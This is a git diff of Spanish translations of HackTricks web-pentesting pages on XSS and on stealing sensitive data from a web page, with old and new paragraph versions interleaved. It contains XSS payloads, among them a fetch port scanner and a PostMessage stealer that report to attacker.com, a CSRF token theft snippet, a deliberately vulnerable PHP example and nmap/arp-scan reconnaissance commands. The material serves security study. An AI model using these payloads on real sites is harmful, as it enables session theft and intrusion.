Sin embargo, es importante tener en cuenta que esta técnica solo funciona en ciertos casos específicos y puede no ser compatible con todos los navegadores y versiones de JavaScript. Por lo tanto, se recomienda utilizar paréntesis al llamar a funciones en la mayoría de los casos para garantizar la compatibilidad y la legibilidad del código.
````javascript
// By setting location
window.location='javascript:alert\x281\x29'
@ -1222,41 +1191,48 @@ El XSS (Cross-Site Scripting) es una vulnerabilidad común en aplicaciones web q
Existen tres tipos principales de XSS:
1. **Reflejado (Reflected XSS):** El código malicioso se inyecta a través de una URL y se refleja en la respuesta del servidor. Cuando un usuario hace clic en el enlace malicioso, el código se ejecuta en su navegador.
1. **Reflejado (Reflected XSS):** El código malicioso se inyecta a través de una URL y se refleja en la respuesta del servidor. Cuando el usuario hace clic en el enlace malicioso, el código se ejecuta en su navegador.
2. **Almacenado (Stored XSS):** El código malicioso se almacena en la base de datos o en el servidor y se muestra a los usuarios cuando acceden a una página específica. Esto puede ocurrir en áreas como comentarios, foros o campos de entrada de datos.
2. **Almacenado (Stored XSS):** El código malicioso se almacena en la base de datos de la aplicación web y se muestra a los usuarios cuando acceden a ciertas páginas o secciones. Esto puede ocurrir en comentarios, perfiles de usuario, mensajes de chat, etc.
3. **Basado en DOM (DOM-based XSS):** El código malicioso se ejecuta en el lado del cliente manipulando el DOM (Modelo de Objetos del Documento) de la página web. Esto puede ocurrir cuando se utilizan scripts en el lado del cliente para procesar datos no confiables.
3. **Basado en DOM (DOM-based XSS):** El código malicioso se ejecuta en el lado del cliente manipulando el DOM (Modelo de Objetos del Documento) de la página web. Esto ocurre cuando la aplicación web utiliza JavaScript para procesar datos no confiables sin realizar una adecuada validación o sanitización.
## Prevención de XSS
Para prevenir ataques XSS, es importante seguir buenas prácticas de seguridad en el desarrollo de aplicaciones web:
Para prevenir el XSS, es importante seguir buenas prácticas de seguridad en el desarrollo de aplicaciones web:
- **Validación y sanitización de datos:** Validar y sanitizar todos los datos de entrada para evitar la ejecución de código malicioso.
- **Validación y sanitización de datos:** Siempre se deben validar y sanitizar los datos de entrada antes de mostrarlos en la página web. Esto incluye la eliminación de caracteres especiales y la codificación de HTML.
- **Codificación adecuada:** Utilizar funciones de codificación adecuadas al mostrar datos en la página web, como `htmlspecialchars()` en PHP.
- **Uso de encabezados de seguridad:** Configurar encabezados de seguridad como Content-Security-Policy (CSP) y X-XSS-Protection puede ayudar a mitigar los ataques XSS al restringir el origen y el tipo de contenido permitido en la página.
- **Uso de encabezados de seguridad:** Configurar encabezados de seguridad, como Content Security Policy (CSP), para limitar la ejecución de scripts no confiables.
- **Escape adecuado de datos:** Al mostrar datos dinámicos en la página, es importante escapar correctamente los caracteres especiales para evitar la interpretación errónea como código HTML o JavaScript.
- **Control de acceso a cookies:** Configurar las cookies con el atributo `HttpOnly` para evitar que sean accedidas por scripts en el lado del cliente.
- **Implementación de mecanismos de autenticación y autorización:** Utilizar mecanismos de autenticación y autorización sólidos puede ayudar a prevenir ataques XSS al limitar el acceso a funciones sensibles de la aplicación.
- **Actualización y parcheo:** Mantener las aplicaciones y frameworks actualizados con las últimas correcciones de seguridad.
- **Actualización y parcheo regular:** Mantener la aplicación web actualizada con las últimas correcciones de seguridad y parches es esencial para protegerse contra nuevas vulnerabilidades conocidas.
## Ejemplo de Ataque XSS
## Ejemplo de código vulnerable
Un ejemplo de ataque XSS podría ser el siguiente:
A continuación se muestra un ejemplo de código vulnerable a XSS:
```html
<script>
var payload = document.cookie;
// Enviar el payload a un servidor malicioso
// ...
</script>
<!DOCTYPE html>
<html>
<head>
<title>Página vulnerable a XSS</title>
</head>
<body>
<h1>Bienvenido</h1>
<p>Hola, <?php echo $_GET['nombre']; ?>!</p>
</body>
</html>
```
En este caso, el código malicioso se ejecuta en el navegador del usuario y envía las cookies al servidor malicioso. Esto podría permitir al atacante robar la sesión del usuario y realizar acciones en su nombre.
En este ejemplo, el valor del parámetro `nombre` se muestra directamente en la página sin ninguna validación o sanitización. Un atacante podría aprovechar esto para inyectar código malicioso en la URL y ejecutarlo en el navegador del usuario.
Es importante tener en cuenta que este ejemplo es solo ilustrativo y los ataques XSS pueden ser mucho más sofisticados y peligrosos.
## Conclusiones
El XSS es una vulnerabilidad grave que puede tener consecuencias significativas para la seguridad de una aplicación web y sus usuarios. Es importante comprender cómo funciona el XSS y seguir las mejores prácticas de seguridad para prevenirlo.
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
@ -1314,22 +1290,22 @@ Durante una prueba de penetración, es posible que desees encontrar las direccio
Aquí hay algunas técnicas que puedes utilizar para encontrar las IPs internas:
1. **Ping Sweep**: Utiliza una herramienta como `nmap` para realizar un barrido de ping en la red objetivo. Esto enviará un ping a cada dirección IP posible en la red y te mostrará las respuestas, lo que te permitirá identificar las IPs activas.
1. **Ping Sweep**: Utiliza una herramienta como `nmap` para realizar un barrido de ping en un rango de direcciones IP. Esto te permitirá identificar qué direcciones IP están activas en la red.
```bash
nmap -sn <dirección de red>
nmap -sn 192.168.0.0/24
```
2. **ARP Scanning**: Utiliza la tabla ARP para descubrir las direcciones IP internas. Puedes utilizar la herramienta `arp-scan` para realizar un escaneo ARP en la red objetivo y obtener una lista de direcciones IP y direcciones MAC asociadas.
2. **ARP Scanning**: Utiliza una herramienta como `arp-scan` para realizar un escaneo ARP en la red. Esto te permitirá obtener una lista de direcciones IP y las correspondientes direcciones MAC de los dispositivos en la red.
```bash
arp-scan --interface=<interfaz de red> <dirección de red>
arp-scan --localnet
```
3. **DNS Lookup**: Realiza una búsqueda DNS inversa para obtener las direcciones IP internas asociadas a los nombres de dominio. Puedes utilizar la herramienta `nslookup` para realizar esta búsqueda.
3. **DNS Lookup**: Realiza una búsqueda DNS inversa en un dominio para obtener las direcciones IP asociadas a ese dominio. Esto puede revelar direcciones IP internas utilizadas por el sistema objetivo.
```bash
nslookup <nombre de dominio>
nslookup google.com
```
Recuerda que estas técnicas deben ser utilizadas de manera ética y con el permiso del propietario del sistema objetivo.
@ -1384,11 +1360,11 @@ El escáner de puertos es una herramienta utilizada para identificar los puertos
El escáner de puertos "fetch" es una implementación específica de esta técnica que utiliza la función `fetch` en JavaScript para enviar solicitudes HTTP a diferentes puertos en el sistema objetivo. Al enviar solicitudes a diferentes puertos y analizar las respuestas recibidas, es posible determinar qué puertos están abiertos y disponibles para su uso.
El escáner de puertos "fetch" es una herramienta útil para los hackers éticos y los profesionales de la seguridad cibernética, ya que les permite identificar posibles puntos de entrada para ataques maliciosos. Sin embargo, es importante tener en cuenta que el uso de esta técnica en sistemas sin autorización es ilegal y puede tener consecuencias legales graves.
El escáner de puertos "fetch" es una herramienta útil para los hackers éticos y los profesionales de la seguridad cibernética, ya que les permite identificar posibles puntos de entrada para ataques maliciosos. Sin embargo, es importante tener en cuenta que el uso de esta técnica sin el consentimiento del propietario del sistema objetivo puede ser ilegal y está estrictamente prohibido.
Para utilizar el escáner de puertos "fetch", simplemente se debe ejecutar el código JavaScript correspondiente en un navegador web compatible. El código enviará solicitudes a diferentes puertos y mostrará las respuestas recibidas, lo que permitirá identificar los puertos abiertos en el sistema objetivo.
Es importante destacar que el escáner de puertos "fetch" solo identifica la disponibilidad de los puertos y no proporciona información sobre posibles vulnerabilidades o riesgos asociados. Por lo tanto, es recomendable complementar esta técnica con otras pruebas de penetración y análisis de seguridad para obtener una evaluación completa de la seguridad del sistema objetivo.
Es importante destacar que el escáner de puertos "fetch" solo puede identificar los puertos abiertos en el sistema objetivo, pero no puede determinar si existen vulnerabilidades específicas en esos puertos. Para evaluar la seguridad de un sistema de manera más completa, se recomienda utilizar otras técnicas de pruebas de penetración en conjunto con el escáner de puertos.
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
@ -1398,9 +1374,13 @@ El escáner de puertos es una herramienta utilizada en el pentesting para identi
El escáner de puertos websockets se utiliza para descubrir posibles vulnerabilidades en la implementación de los websockets en un sitio web. Al identificar los puertos abiertos, un hacker puede intentar explotar estas vulnerabilidades para llevar a cabo ataques de cross-site scripting (XSS) u otros ataques maliciosos.
El escáner de puertos websockets funciona enviando solicitudes de conexión a diferentes puertos en el sistema objetivo y analizando las respuestas recibidas. Si se recibe una respuesta positiva, significa que el puerto está abierto y puede ser vulnerable a ataques.
El escáner de puertos websockets funciona enviando solicitudes a diferentes puertos y analizando las respuestas recibidas. Si se detecta un puerto abierto, esto indica que el sistema objetivo está escuchando en ese puerto y puede ser vulnerable a ataques.
Es importante destacar que el uso de un escáner de puertos websockets debe realizarse con el consentimiento del propietario del sistema objetivo y solo con fines legítimos, como la evaluación de la seguridad de un sitio web. El uso no autorizado de esta técnica puede ser considerado ilegal y puede tener consecuencias legales graves.
Es importante destacar que el escaneo de puertos websockets debe realizarse con el consentimiento del propietario del sistema objetivo, ya que realizar esta actividad sin autorización es ilegal y puede tener consecuencias legales graves.
Para utilizar un escáner de puertos websockets, se pueden utilizar herramientas específicas como Nmap o Metasploit, que ofrecen funcionalidades avanzadas para el escaneo de puertos y la identificación de vulnerabilidades en los websockets.
En resumen, el escáner de puertos websockets es una herramienta importante en el arsenal de un pentester para identificar posibles vulnerabilidades en la implementación de los websockets en un sitio web y prevenir ataques maliciosos como el cross-site scripting. Sin embargo, es fundamental obtener el consentimiento del propietario del sistema objetivo antes de realizar cualquier escaneo de puertos.
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
@ -1484,15 +1464,13 @@ changeReq.send('csrf='+token+'&email=test@test.com')
```
### Robando mensajes de PostMessage
En algunas aplicaciones web, se utiliza la función `PostMessage` para permitir la comunicación entre diferentes ventanas o marcos dentro de la misma página. Sin embargo, esta función también puede ser explotada por un atacante para robar mensajes enviados a través de ella.
En algunos casos, los atacantes pueden aprovechar las vulnerabilidades de Cross-Site Scripting (XSS) para robar mensajes enviados a través de la función `PostMessage`. La función `PostMessage` se utiliza para comunicarse entre diferentes ventanas o marcos en un sitio web.
El ataque de robo de mensajes de `PostMessage` se basa en la capacidad de un atacante para inyectar código malicioso en una página web vulnerable. Una vez que el código malicioso se ejecuta en el contexto de la página, puede interceptar y leer los mensajes enviados a través de `PostMessage`.
El ataque de robo de mensajes de `PostMessage` ocurre cuando un atacante logra inyectar código malicioso en una página web que utiliza esta función. El código malicioso puede interceptar y robar los mensajes enviados a través de `PostMessage`, lo que puede permitir al atacante acceder a información confidencial o realizar acciones no autorizadas.
Para llevar a cabo este ataque, el atacante puede utilizar técnicas como la inyección de código JavaScript en campos de entrada o enlaces maliciosos. Una vez que el código malicioso se ejecuta en la página, puede utilizar la función `window.addEventListener` para escuchar los mensajes enviados a través de `PostMessage` y robar su contenido.
Para llevar a cabo este tipo de ataque, el atacante puede utilizar técnicas de XSS para inyectar código malicioso en una página web vulnerable. Una vez que el código malicioso se ejecuta en el navegador de la víctima, puede interceptar los mensajes enviados a través de `PostMessage` y enviarlos a un servidor controlado por el atacante.
Es importante destacar que este ataque solo es posible si el sitio web vulnerable permite la ejecución de código JavaScript no confiable. Los desarrolladores deben implementar medidas de seguridad adecuadas, como la validación y el filtrado de datos de entrada, para prevenir este tipo de ataques.
Para protegerse contra el robo de mensajes de `PostMessage`, los desarrolladores deben asegurarse de que solo se permita la ejecución de código JavaScript confiable y de que se implementen medidas de seguridad adecuadas en su aplicación web. Además, los usuarios deben ser conscientes de los riesgos asociados con la ejecución de código JavaScript no confiable y deben evitar interactuar con sitios web sospechosos o no confiables.
Para protegerse contra este tipo de ataque, es importante implementar medidas de seguridad adecuadas, como la validación y el filtrado de datos de entrada, así como el uso de encabezados de seguridad HTTP, como el encabezado `Content-Security-Policy` (CSP). Además, es esencial mantenerse actualizado sobre las últimas vulnerabilidades y parches de seguridad, y aplicarlos en su sitio web para evitar posibles ataques.
```markup
<img src="https://attacker.com/?" id=message>
<script>
@ -1575,7 +1553,7 @@ console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
```
### Lista de Fuerza Bruta
### Lista de fuerza bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
@ -1615,7 +1593,7 @@ Si no puedes inyectar etiquetas HTML, podría valer la pena intentar **inyectar
### XSS en Amp4Email
AMP es una tecnología conocida por desarrollar páginas web súper rápidas en clientes móviles. **AMP es un conjunto de etiquetas HTML respaldadas por JavaScript** que permite fácilmente funcionalidad con un enfoque adicional en rendimiento y seguridad. Hay [componentes AMP](https://amp.dev/documentation/components/?format=websites) para todo, desde carruseles hasta elementos de formulario responsivos, hasta la obtención de contenido fresco desde puntos finales remotos.
AMP es una tecnología conocida por desarrollar páginas web súper rápidas en clientes móviles. **AMP es un conjunto de etiquetas HTML respaldadas por JavaScript** que permite fácilmente funcionalidad con un enfoque adicional en rendimiento y seguridad. Hay [componentes AMP](https://amp.dev/documentation/components/?format=websites) para todo, desde carruseles hasta elementos de formulario receptivos, hasta la obtención de contenido fresco desde puntos finales remotos.
El formato [**AMP para Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proporciona [un subconjunto de componentes AMP](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md) que puedes utilizar en mensajes de correo electrónico. Los destinatarios de correos electrónicos AMP pueden ver e interactuar con los componentes AMP directamente en el correo electrónico.

View file

@ -1,24 +1,33 @@
Si en algún momento encuentras una **página web que te presenta información sensible basada en tu sesión**: puede que esté reflejando cookies, o imprimiendo detalles de tarjetas de crédito o cualquier otra información sensible, puedes intentar robarla.\
Aquí te presento las principales formas en que puedes intentar lograrlo:
* [**Bypass de CORS**](pentesting-web/cors-bypass.md): Si puedes saltarte las cabeceras CORS, podrás robar la información realizando una solicitud Ajax desde una página maliciosa.
* [**XSS**](pentesting-web/xss-cross-site-scripting/): Si encuentras una vulnerabilidad XSS en la página, es posible que puedas abusar de ella para robar la información.
* [**Dangling Markup**](pentesting-web/dangling-markup-html-scriptless-injection.md): Si no puedes inyectar etiquetas XSS, aún puedes robar la información utilizando otras etiquetas HTML regulares.
* [**Clickjaking**](pentesting-web/clickjacking.md): Si no hay protección contra este ataque, es posible que puedas engañar al usuario para que te envíe los datos sensibles (un ejemplo [aquí](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
# Robo de Divulgación de Información Sensible desde una Página Web
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Si en algún momento encuentras una **página web que te muestra información sensible basada en tu sesión**: tal vez refleje cookies, o imprima detalles de tarjetas de crédito u otra información sensible, puedes intentar robarla.\
Aquí te presento las principales formas en las que puedes intentar lograrlo:
* [**Bypass de CORS**](pentesting-web/cors-bypass.md): Si puedes evadir las cabeceras de CORS, podrás robar la información realizando una solicitud Ajax desde una página maliciosa.
* [**XSS**](pentesting-web/xss-cross-site-scripting/): Si encuentras una vulnerabilidad XSS en la página, es posible que puedas abusar de ella para robar la información.
* [**Marcado Colgante**](pentesting-web/dangling-markup-html-scriptless-injection/): Si no puedes inyectar etiquetas XSS, aún puedes robar la información utilizando otras etiquetas HTML regulares.
* [**Clickjacking**](pentesting-web/clickjacking.md): Si no hay protección contra este tipo de ataque, es posible que puedas engañar al usuario para que te envíe los datos sensibles (un ejemplo [aquí](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>